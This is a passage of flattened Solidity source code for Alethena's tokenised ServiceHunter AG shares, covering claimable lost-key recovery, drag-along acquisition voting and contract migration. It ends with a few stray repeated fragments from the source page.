_allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: contracts/ERC20Claimable.sol /** * MIT License with Automated License Fee Payments * * Copyright (c) 2019 Equility AG (alethena.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @title Claimable * In case of tokens that represent real-world assets such as shares of a company, one needs a way * to handle lost private keys. With physical certificates, courts can declare share certificates as * invalid so the company can issue replacements. Here, we want a solution that does not depend on * third parties to resolve such cases. Instead, when someone has lost a private key, he can use the * declareLost function to post a deposit and claim that the shares assigned to a specific address are * lost. To prevent front running, a commit reveal scheme is used. If he actually is the owner of the shares, * he needs to wait for a certain period and can then reclaim the lost shares as well as the deposit. * If he is an attacker trying to claim shares belonging to someone else, he risks losing the deposit * as it can be claimed at anytime by the rightful owner. * Furthermore, if "getClaimDeleter" is defined in the subclass, the returned address is allowed to * delete claims, returning the collateral. This can help to prevent obvious cases of abuse of the claim * function. */ contract ERC20Claimable is ERC20 { using SafeMath for uint256; using SafeMath for uint32; // A struct that represents a claim made struct Claim { address claimant; // the person who created the claim uint256 collateral; // the amount of collateral deposited uint32 timestamp; // the timestamp of the block in which the claim was made address currencyUsed; // The currency (XCHF) can be updated, we record the currency used for every request } // Every claim must be preceded by an obscured preclaim in order to prevent front-running struct PreClaim { bytes32 msghash; // the hash of nonce + address to be claimed uint256 timestamp; // the timestamp of the block in which the preclaim was made } uint256 public claimPeriod = 180 days; // Default of 180 days; uint256 public preClaimPeriod = 1 days; // One day. Minimum waiting period between preClaim and Claim; uint256 public preClaimPeriodEnd = 2 days; // Two days. Maximum waiting period between preClaim and Claim; mapping(address => Claim) public claims; // there can be at most one claim per address, here address is claimed address mapping(address => PreClaim) public preClaims; // there can be at most one preclaim per address, here address is claimer mapping(address => bool) public claimingDisabled; // disable claimability (e.g. for long term storage) // ERC-20 token that can be used as collateral or 0x0 if disabled address public customCollateralAddress; uint256 public customCollateralRate; /** * Returns the collateral rate for the given collateral type and 0 if that type * of collateral is not accepted. By default, only the token itself is accepted at * a rate of 1:1. * * Subclasses should override this method if they want to add additional types of * collateral. */ function getCollateralRate(address collateralType) public view returns (uint256) { if (collateralType == address(this)) { return 1; } else if (collateralType == customCollateralAddress) { return customCollateralRate; } else { return 0; } } /** * Allows subclasses to set a custom collateral besides the token itself. * The collateral must be an ERC-20 token that returns true on successful transfers and * throws an exception or returns false on failure. * Also, do not forget to multiply the rate in accordance with the number of decimals of the collateral. * For example, rate should be 7*10**18 for 7 units of a collateral with 18 decimals. */ function _setCustomClaimCollateral(address collateral, uint256 rate) internal { customCollateralAddress = collateral; if (customCollateralAddress == address(0)) { customCollateralRate = 0; // disabled } else { require(rate > 0, "Collateral rate can't be zero"); customCollateralRate = rate; } emit CustomClaimCollateralChanged(collateral, rate); } function getClaimDeleter() public returns (address); /** * Allows subclasses to change the claim period, but not to fewer than 90 days. */ function _setClaimPeriod(uint256 claimPeriodInDays) internal { require(claimPeriodInDays > 90, "Claim period must be at least 90 days"); // must be at least 90 days uint256 claimPeriodInSeconds = claimPeriodInDays.mul(1 days); claimPeriod = claimPeriodInSeconds; emit ClaimPeriodChanged(claimPeriod); } function setClaimable(bool enabled) public { claimingDisabled[msg.sender] = !enabled; } /** * Some users might want to disable claims for their address completely. * For example if they use a deep cold storage solution or paper wallet. */ function isClaimsEnabled(address target) public view returns (bool) { return !claimingDisabled[target]; } event ClaimMade(address indexed lostAddress, address indexed claimant, uint256 balance); event ClaimPrepared(address indexed claimer); event ClaimCleared(address indexed lostAddress, uint256 collateral); event ClaimDeleted(address indexed lostAddress, address indexed claimant, uint256 collateral); event ClaimResolved(address indexed lostAddress, address indexed claimant, uint256 collateral); event ClaimPeriodChanged(uint256 newClaimPeriodInDays); event CustomClaimCollateralChanged(address newCustomCollateralAddress, uint256 newCustomCollareralRate); /** Anyone can declare that the private key to a certain address was lost by calling declareLost * providing a deposit/collateral. There are three possibilities of what can happen with the claim: * 1) The claim period expires and the claimant can get the deposit and the shares back by calling resolveClaim * 2) The "lost" private key is used at any time to call clearClaim. In that case, the claim is deleted and * the deposit sent to the shareholder (the owner of the private key). It is recommended to call resolveClaim * whenever someone transfers funds to let claims be resolved automatically when the "lost" private key is * used again. * 3) The owner deletes the claim and assigns the deposit to the claimant. This is intended to be used to resolve * disputes. Generally, using this function implies that you have to trust the issuer of the tokens to handle * the situation well. As a rule of thumb, the contract owner should assume the owner of the lost address to be the * rightful owner of the deposit. * It is highly recommended that the owner observes the claims made and informs the owners of the claimed addresses * whenever a claim is made for their address (this of course is only possible if they are known to the owner, e.g. * through a shareholder register). * To prevent frontrunning attacks, a claim can only be made if the information revealed when calling "declareLost" * was previously commited using the "prepareClaim" function. */ function prepareClaim(bytes32 hashedpackage) public { preClaims[msg.sender] = PreClaim({ msghash: hashedpackage, timestamp: block.timestamp }); emit ClaimPrepared(msg.sender); } function validateClaim(address lostAddress, bytes32 nonce) private view { PreClaim memory preClaim = preClaims[msg.sender]; require(preClaim.msghash != 0, "Message hash can't be zero"); require(preClaim.timestamp.add(preClaimPeriod) <= block.timestamp, "Preclaim period violated. Claimed too early"); require(preClaim.timestamp.add(preClaimPeriodEnd) >= block.timestamp, "Preclaim period end. Claimed too late"); require(preClaim.msghash == keccak256(abi.encodePacked(nonce, msg.sender, lostAddress)),"Package could not be validated"); } function declareLost(address collateralType, address lostAddress, bytes32 nonce) public { require(lostAddress != address(0), "Can't claim zero address"); require(isClaimsEnabled(lostAddress), "Claims disabled for this address"); uint256 collateralRate = getCollateralRate(collateralType); require(collateralRate > 0, "Unsupported collateral type"); address claimant = msg.sender; uint256 balance = balanceOf(lostAddress); uint256 collateral = balance.mul(collateralRate); IERC20 currency = IERC20(collateralType); require(balance > 0, "Claimed address holds no shares"); require(currency.allowance(claimant, address(this)) >= collateral, "Currency allowance insufficient"); require(currency.balanceOf(claimant) >= collateral, "Currency balance insufficient"); require(claims[lostAddress].collateral == 0, "Address already claimed"); validateClaim(lostAddress, nonce); require(currency.transferFrom(claimant, address(this), collateral), "Collateral transfer failed"); claims[lostAddress] = Claim({ claimant: claimant, collateral: collateral, timestamp: uint32(block.timestamp), // block timestamp is in seconds --> Should not overflow currencyUsed: collateralType }); delete preClaims[claimant]; emit ClaimMade(lostAddress, claimant, balance); } function getClaimant(address lostAddress) public view returns (address) { return claims[lostAddress].claimant; } function getCollateral(address lostAddress) public view returns (uint256) { return claims[lostAddress].collateral; } function getCollateralType(address lostAddress) public view returns (address) { return claims[lostAddress].currencyUsed; } function getTimeStamp(address lostAddress) public view returns (uint256) { return claims[lostAddress].timestamp; } function getPreClaimTimeStamp(address claimerAddress) public view returns (uint256) { return preClaims[claimerAddress].timestamp; } function getMsgHash(address claimerAddress) public view returns (bytes32) { return preClaims[claimerAddress].msghash; } function transfer(address recipient, uint256 amount) public returns (bool) { require(super.transfer(recipient, amount), "Transfer failed"); clearClaim(); return true; } /** * Clears a claim after the key has been found again and assigns the collateral to the "lost" address. * This is the price an adverse claimer pays for filing a false claim and makes it risky to do so. */ function clearClaim() public { if (claims[msg.sender].collateral != 0) { uint256 collateral = claims[msg.sender].collateral; IERC20 currency = IERC20(claims[msg.sender].currencyUsed); delete claims[msg.sender]; require(currency.transfer(msg.sender, collateral), "Collateral transfer failed"); emit ClaimCleared(msg.sender, collateral); } } /** * After the claim period has passed, the claimant can call this function to send the * tokens on the lost address as well as the collateral to himself. */ function resolveClaim(address lostAddress) public { Claim memory claim = claims[lostAddress]; uint256 collateral = claim.collateral; IERC20 currency = IERC20(claim.currencyUsed); require(collateral != 0, "No claim found"); require(claim.claimant == msg.sender, "Only claimant can resolve claim"); require(claim.timestamp.add(uint32(claimPeriod)) <= block.timestamp, "Claim period not over yet"); address claimant = claim.claimant; delete claims[lostAddress]; require(currency.transfer(claimant, collateral), "Collateral transfer failed"); _transfer(lostAddress, claimant, balanceOf(lostAddress)); emit ClaimResolved(lostAddress, claimant, collateral); } /** * This function is to be executed by the owner only in case a dispute needs to be resolved manually. */ function deleteClaim(address lostAddress) public { require(msg.sender == getClaimDeleter(), "You cannot delete claims"); Claim memory claim = claims[lostAddress]; IERC20 currency = IERC20(claim.currencyUsed); require(claim.collateral != 0, "No claim found"); delete claims[lostAddress]; require(currency.transfer(claim.claimant, claim.collateral), "Collateral transfer failed"); emit ClaimDeleted(lostAddress, claim.claimant, claim.collateral); } } // File: contracts/Acquisition.sol /** * MIT License with Automated License Fee Payments * * Copyright (c) 2019 Equility AG (alethena.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @title Acquisition Attempt * @author Benjamin Rickenbacher, [email protected] * @author Luzius Meisser, [email protected] * */ contract Acquisition { using SafeMath for uint256; uint256 public constant VOTING_PERIOD = 60 days; // 2months/60days uint256 public constant VALIDITY_PERIOD = 90 days; // 3months/90days uint256 public quorum; // Percentage of votes needed to start drag-along process address private parent; // the parent contract address payable public buyer; // the person who made the offer uint256 public price; // the price offered per share (in XCHF base units, so 10**18 is 1 XCHF) uint256 public timestamp; // the timestamp of the block in which the acquisition was created uint256 public noVotes; // number of tokens voting for no uint256 public yesVotes; // number of tokens voting for yes enum Vote { NONE, YES, NO } // Used internally, represents not voted yet or yes/no vote. mapping (address => Vote) private votes; // Who votes what event VotesChanged(uint256 newYesVotes, uint256 newNoVotes); constructor (address payable buyer_, uint256 price_, uint256 quorum_) public { require(price_ > 0, "Price cannot be zero"); parent = msg.sender; buyer = buyer_; price = price_; quorum = quorum_; timestamp = block.timestamp; } function isWellFunded(address currency_, uint256 sharesToAcquire) public view returns (bool) { IERC20 currency = IERC20(currency_); uint256 buyerXCHFBalance = currency.balanceOf(buyer); uint256 buyerXCHFAllowance = currency.allowance(buyer, parent); uint256 xchfNeeded = sharesToAcquire.mul(price); return xchfNeeded <= buyerXCHFBalance && xchfNeeded <= buyerXCHFAllowance; } function isQuorumReached() public view returns (bool) { if (isVotingOpen()) { // is it already clear that 75% will vote yes even though the vote is not over yet? return yesVotes.mul(10000).div(IERC20(parent).totalSupply()) >= quorum; } else { // did 75% of all cast votes say 'yes'? return yesVotes.mul(10000).div(yesVotes.add(noVotes)) >= quorum; } } function quorumHasFailed() public view returns (bool) { if (isVotingOpen()) { // is it already clear that 25% will vote no even though the vote is not over yet? return (IERC20(parent).totalSupply().sub(noVotes)).mul(10000).div(IERC20(parent).totalSupply()) < quorum; } else { // did 25% of all cast votes say 'no'? return yesVotes.mul(10000).div(yesVotes.add(noVotes)) < quorum; } } function adjustVotes(address from, address to, uint256 value) public parentOnly() { if (isVotingOpen()) { Vote fromVoting = votes[from]; Vote toVoting = votes[to]; update(fromVoting, toVoting, value); } } function update(Vote previousVote, Vote newVote, uint256 votes_) internal { if (previousVote != newVote) { if (previousVote == Vote.NO) { noVotes = noVotes.sub(votes_); } else if (previousVote == Vote.YES) { yesVotes = yesVotes.sub(votes_); } if (newVote == Vote.NO) { noVotes = noVotes.add(votes_); } else if (newVote == Vote.YES) { yesVotes = yesVotes.add(votes_); } emit VotesChanged(yesVotes, noVotes); } } function isVotingOpen() public view returns (bool) { uint256 age = block.timestamp.sub(timestamp); return age <= VOTING_PERIOD; } function hasExpired() public view returns (bool) { uint256 age = block.timestamp.sub(timestamp); return age > VALIDITY_PERIOD; } modifier votingOpen() { require(isVotingOpen(), "The vote has ended."); _; } function voteYes(address sender, uint256 votes_) public parentOnly() votingOpen() { vote(Vote.YES, votes_, sender); } function voteNo(address sender, uint256 votes_) public parentOnly() votingOpen() { vote(Vote.NO, votes_, sender); } function vote(Vote yesOrNo, uint256 votes_, address voter) internal { Vote previousVote = votes[voter]; Vote newVote = yesOrNo; votes[voter] = newVote; update(previousVote, newVote, votes_); } function hasVotedYes(address voter) public view returns (bool) { return votes[voter] == Vote.YES; } function hasVotedNo(address voter) public view returns (bool) { return votes[voter] == Vote.NO; } function kill() public parentOnly() { // destroy the contract and send leftovers to the buyer. selfdestruct(buyer); } modifier parentOnly () { require(msg.sender == parent, "Can only be called by parent contract"); _; } } // File: contracts/IMigratable.sol /** * MIT License with Automated License Fee Payments * * Copyright (c) 2019 Equility AG (alethena.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; contract IMigratable { function migrationToContract() public returns (address); } // File: contracts/ERC20Draggable.sol /** * MIT License with Automated License Fee Payments * * Copyright (c) 2019 Equility AG (alethena.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @title Alethena SHA * @author Benjamin Rickenbacher, [email protected] * @author Luzius Meisser, [email protected] * @dev These tokens are based on the ERC20 standard and the open-zeppelin library. * * This is an ERC-20 token representing shares of ServiceHunter AG that are bound to * a shareholder agreement that can be found at the URL defined in the constant 'terms' * of the 'DraggableServiceHunterShares' contract. The agreement is partially enforced * through the Swiss legal system, and partially enforced through this smart contract. * In particular, this smart contract implements a drag-along clause which allows the * majority of token holders to force the minority sell their shares along with them in * case of an acquisition. That's why the tokens are called "Draggable ServiceHunter AG Shares." */ contract ERC20Draggable is ERC20 { using SafeMath for uint256; IERC20 private wrapped; // The wrapped contract // If the wrapped tokens got replaced in an acquisition, unwrapping might yield many currency tokens uint256 public unwrapConversionFactor = 1; // The current acquisition attempt, if any. See initiateAcquisition to see the requirements to make a public offer. Acquisition public offer; IERC20 private currency; address public offerFeeRecipient; // Recipient of the fee. Fee makes sure the offer is serious. uint256 public offerFee; // Fee of 5000 XCHF uint256 public migrationQuorum; // Number of tokens that need to be migrated to complete migration uint256 public acquisitionQuorum; uint256 constant MIN_OFFER_INCREMENT = 10500; // New offer must be at least 105% of old offer uint256 constant MIN_HOLDING = 500; // Need at least 5% of all drag along tokens to make an offer uint256 constant MIN_DRAG_ALONG_QUOTA = 3000; // 30% of the equity needs to be represented by drag along tokens for an offer to be made bool public active = true; // True as long as this contract is legally binding and the wrapped tokens are locked. event OfferCreated(address indexed buyer, uint256 pricePerShare); event OfferEnded(address indexed buyer, address sender, bool success, string message); event MigrationSucceeded(address newContractAddress); /** * CurrencyAddress specifies the currency used in acquisitions. The currency must be * an ERC-20 token that returns true on successful transfers and throws an exception or * returns false on failure. It can only be updated later if the currency supports the * IMigratable interface. */ constructor( address wrappedToken, uint256 migrationQuorumInBIPS_, uint256 acquisitionQuorum_, address currencyAddress, address offerFeeRecipient_, uint offerFee_ ) public { wrapped = IERC20(wrappedToken); offerFeeRecipient = offerFeeRecipient_; offerFee = offerFee_; migrationQuorum = migrationQuorumInBIPS_; acquisitionQuorum = acquisitionQuorum_; currency = IERC20(currencyAddress); IShares(wrappedToken).totalShares(); } function getWrappedContract() public view returns (address) { return address(wrapped); } function getCurrencyContract() public view returns (address) { return address(currency); } function updateCurrency(address newCurrency) public noOfferPending () { require(active, "Contract is not active"); require(IMigratable(getCurrencyContract()).migrationToContract() == newCurrency, "Invalid currency update"); currency = IERC20(newCurrency); } /** Increases the number of drag-along tokens. Requires minter to deposit an equal amount of share tokens */ function wrap(address shareholder, uint256 amount) public noOfferPending() { require(active, "Contract not active any more."); require(wrapped.balanceOf(msg.sender) >= amount, "Share balance not sufficient"); require(wrapped.allowance(msg.sender, address(this)) >= amount, "Share allowance not sufficient"); require(wrapped.transferFrom(msg.sender, address(this), amount), "Share transfer failed"); _mint(shareholder, amount); } /** Decrease the number of drag-along tokens. The user gets back their shares in return */ function unwrap(uint256 amount) public { require(!active, "As long as the contract is active, you are bound to it"); _burn(msg.sender, amount); require(wrapped.transfer(msg.sender, amount.mul(unwrapConversionFactor)), "Share transfer failed"); } /** * Burns both the token itself as well as the wrapped token! * If you want to get out of the shareholder agreement, use unwrap after it has been * deactivated by a majority vote or acquisition. * * Burning only works if wrapped token supports burning. Also, the exact meaning of this * operation might depend on the circumstances. Burning and reussing the wrapped token * does not free the sender from the legal obligations of the shareholder agreement. */ function burn(uint256 amount) public { _burn(msg.sender, amount); IBurnable(getWrappedContract()).burn(amount.mul(unwrapConversionFactor)); } /** @dev Function to start drag-along procedure * This can be called by anyone, but there is an upfront payment. */ function initiateAcquisition(uint256 pricePerShare) public { require(active, "An accepted offer exists"); uint256 totalEquity = IShares(getWrappedContract()).totalShares(); address buyer = msg.sender; require(totalSupply() >= totalEquity.mul(MIN_DRAG_ALONG_QUOTA).div(10000), "This contract does not represent enough equity"); require(balanceOf(buyer) >= totalEquity.mul(MIN_HOLDING).div(10000), "You need to hold at least 5% of the firm to make an offer"); require(currency.transferFrom(buyer, offerFeeRecipient, offerFee), "Currency transfer failed"); Acquisition newOffer = new Acquisition(msg.sender, pricePerShare, acquisitionQuorum); require(newOffer.isWellFunded(getCurrencyContract(), totalSupply() - balanceOf(buyer)), "Insufficient funding"); if (offerExists()) { require(pricePerShare >= offer.price().mul(MIN_OFFER_INCREMENT).div(10000), "New offers must be at least 5% higher than the pending offer"); killAcquisition("Offer was replaced by a higher bid"); } offer = newOffer; emit OfferCreated(buyer, pricePerShare); } function voteYes() public offerPending() { address voter = msg.sender; offer.voteYes(voter, balanceOf(voter)); } function voteNo() public offerPending() { address voter = msg.sender; offer.voteNo(voter, balanceOf(voter)); } function cancelAcquisition() public offerPending() { require(msg.sender == offer.buyer(), "You are not authorized to cancel this acquisition offer"); killAcquisition("Cancelled by buyer"); } function contestAcquisition() public offerPending() { if (offer.hasExpired()) { killAcquisition("Offer expired"); } else if (offer.quorumHasFailed()) { killAcquisition("Not enough support"); } else if ( !offer.isWellFunded( getCurrencyContract(), totalSupply().sub(balanceOf(offer.buyer())) ) ) { killAcquisition("Offer was not sufficiently funded"); } else { revert("Acquisition contest unsuccessful"); } } function killAcquisition(string memory message) internal { address buyer = offer.buyer(); offer.kill(); offer = Acquisition(address(0)); emit OfferEnded( buyer, msg.sender, false, message ); } function completeAcquisition() public offerPending() { address buyer = offer.buyer(); require(msg.sender == buyer, "You are not authorized to complete this acquisition offer"); require(offer.isQuorumReached(), "Insufficient number of yes votes"); require( offer.isWellFunded( getCurrencyContract(), totalSupply().sub(balanceOf(buyer))), "Offer insufficiently funded" ); invertHoldings(buyer, currency, offer.price()); emit OfferEnded( buyer, msg.sender, true, "Completed successfully" ); } function wasAcquired() public view returns (bool) { return offerExists() ? !active : false; } function invertHoldings(address newOwner, IERC20 newBacking, uint256 conversionRate) internal { uint256 buyerBalance = balanceOf(newOwner); uint256 initialSupply = totalSupply(); active = false; unwrap(buyerBalance); uint256 remaining = initialSupply.sub(buyerBalance); require(wrapped.transfer(newOwner, remaining), "Wrapped token transfer failed"); require(newBacking.transferFrom(newOwner, address(this), conversionRate.mul(remaining)), "Backing transfer failed"); wrapped = newBacking; unwrapConversionFactor = conversionRate; } function migrate() public { require(active, "Contract is not active"); address successor = msg.sender; require(balanceOf(successor) >= totalSupply().mul(migrationQuorum).div(10000), "Quorum not reached"); if (offerExists()) { if (!offer.quorumHasFailed()) { voteNo(); // should shut down the offer require(offer.quorumHasFailed(), "Quorum has not failed"); } contestAcquisition(); assert (!offerExists()); } invertHoldings(successor, IERC20(successor), 1); emit MigrationSucceeded(successor); } function _mint(address account, uint256 amount) internal { super._mint(account, amount); if (offerExists() && active) { // never executed in the default implementation as wrap requires no offer offer.adjustVotes(address(0), account, amount); } } function _transfer(address from, address to, uint256 value) internal { super._transfer(from, to, value); if (offerExists() && active) { offer.adjustVotes(from, to, value); } } function _burn(address account, uint256 amount) internal { require(balanceOf(msg.sender) >= amount, "Balance insufficient"); super._burn(account, amount); if (offerExists() && active) { offer.adjustVotes(account, address(0), amount); } } function getPendingOffer() public view returns (address) { return address(offer); } function offerExists() public view returns (bool) { return getPendingOffer() != address(0); } modifier offerPending() { require(offerExists() && active, "There is no pending offer"); _; } modifier noOfferPending() { require(!offerExists(), "There is a pending offer"); _; } } contract IShares { function totalShares() public returns (uint256); } contract IBurnable { function burn(uint256) public; } // File: contracts/DraggableServiceHunterShares.sol /** * MIT License with Automated License Fee Payments * * Copyright (c) 2019 Equility AG (alethena.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @title Draggable ServiceHunter AG Shares * @author Benjamin Rickenbacher, [email protected] * @author Luzius Meisser, [email protected] * * This is an ERC-20 token representing shares of ServiceHunter AG that are bound to * a shareholder agreement that can be found at the URL defined in the constant 'terms'. * The shareholder agreement is partially enforced through this smart contract. The agreement * is designed to facilitate a complete acquisition of the firm even if a minority of shareholders * disagree with the acquisition, to protect the interest of the minority shareholders by requiring * the acquirer to offer the same conditions to everyone when acquiring the company, and to * facilitate an update of the shareholder agreement even if a minority of the shareholders that * are bound to this agreement disagree. The name "draggable" stems from the convention of calling * the right to drag a minority along with a sale of the company "drag-along" rights. The name is * chosen to ensure that token holders are aware that they are bound to such an agreement. * * The percentage of token holders that must agree with an update of the terms is defined by the * constant UPDATE_QUORUM. The precentage of yes-votes that is needed to successfully complete an * acquisition is defined in the constant ACQUISITION_QUORUM. Note that the update quorum is based * on the total number of tokens in circulation. In contrast, the acquisition quorum is based on the * number of votes cast during the voting period, not taking into account those who did not bother * to vote. */ contract DraggableServiceHunterShares is ERC20Claimable, ERC20Draggable { string public constant symbol = "DSHS"; string public constant name = "Draggable ServiceHunter AG Shares"; string public constant terms = "quitt.ch/investoren"; uint8 public constant decimals = 0; // shares are not divisible uint256 public constant UPDATE_QUORUM = 7500; // 7500 basis points = 75% uint256 public constant ACQUISITION_QUORUM = 7500; // 7500 basis points = 75% uint256 public constant OFFER_FEE = 5000 * 10 ** 18; // 5000 XCHF /** * Designed to be used with the Crypto Franc as currency token. See also parent constructor. */ constructor(address wrappedToken, address xchfAddress, address offerFeeRecipient) ERC20Draggable(wrappedToken, UPDATE_QUORUM, ACQUISITION_QUORUM, xchfAddress, offerFeeRecipient, OFFER_FEE) public { IClaimable(wrappedToken).setClaimable(false); } function getClaimDeleter() public returns (address) { return IClaimable(getWrappedContract()).getClaimDeleter(); } function getCollateralRate(address collateralType) public view returns (uint256) { uint256 rate = super.getCollateralRate(collateralType); if (rate > 0) { return rate; } else if (collateralType == getWrappedContract()) { return unwrapConversionFactor; } else { // If the wrapped contract allows for a specific collateral, we should too. // If the wrapped contract is not IClaimable, we will fail here, but would fail anyway. return IClaimable(getWrappedContract()).getCollateralRate(collateralType).mul(unwrapConversionFactor); } } } contract IClaimable { function setClaimable(bool) public; function getCollateralRate(address) public view returns (uint256); function getClaimDeleter() public returns (address); }
never executed in the default implementation as wrap requires no offer
function _mint(address account, uint256 amount) internal { super._mint(account, amount); if (offerExists() && active) { offer.adjustVotes(address(0), account, amount); } }
14,102,842
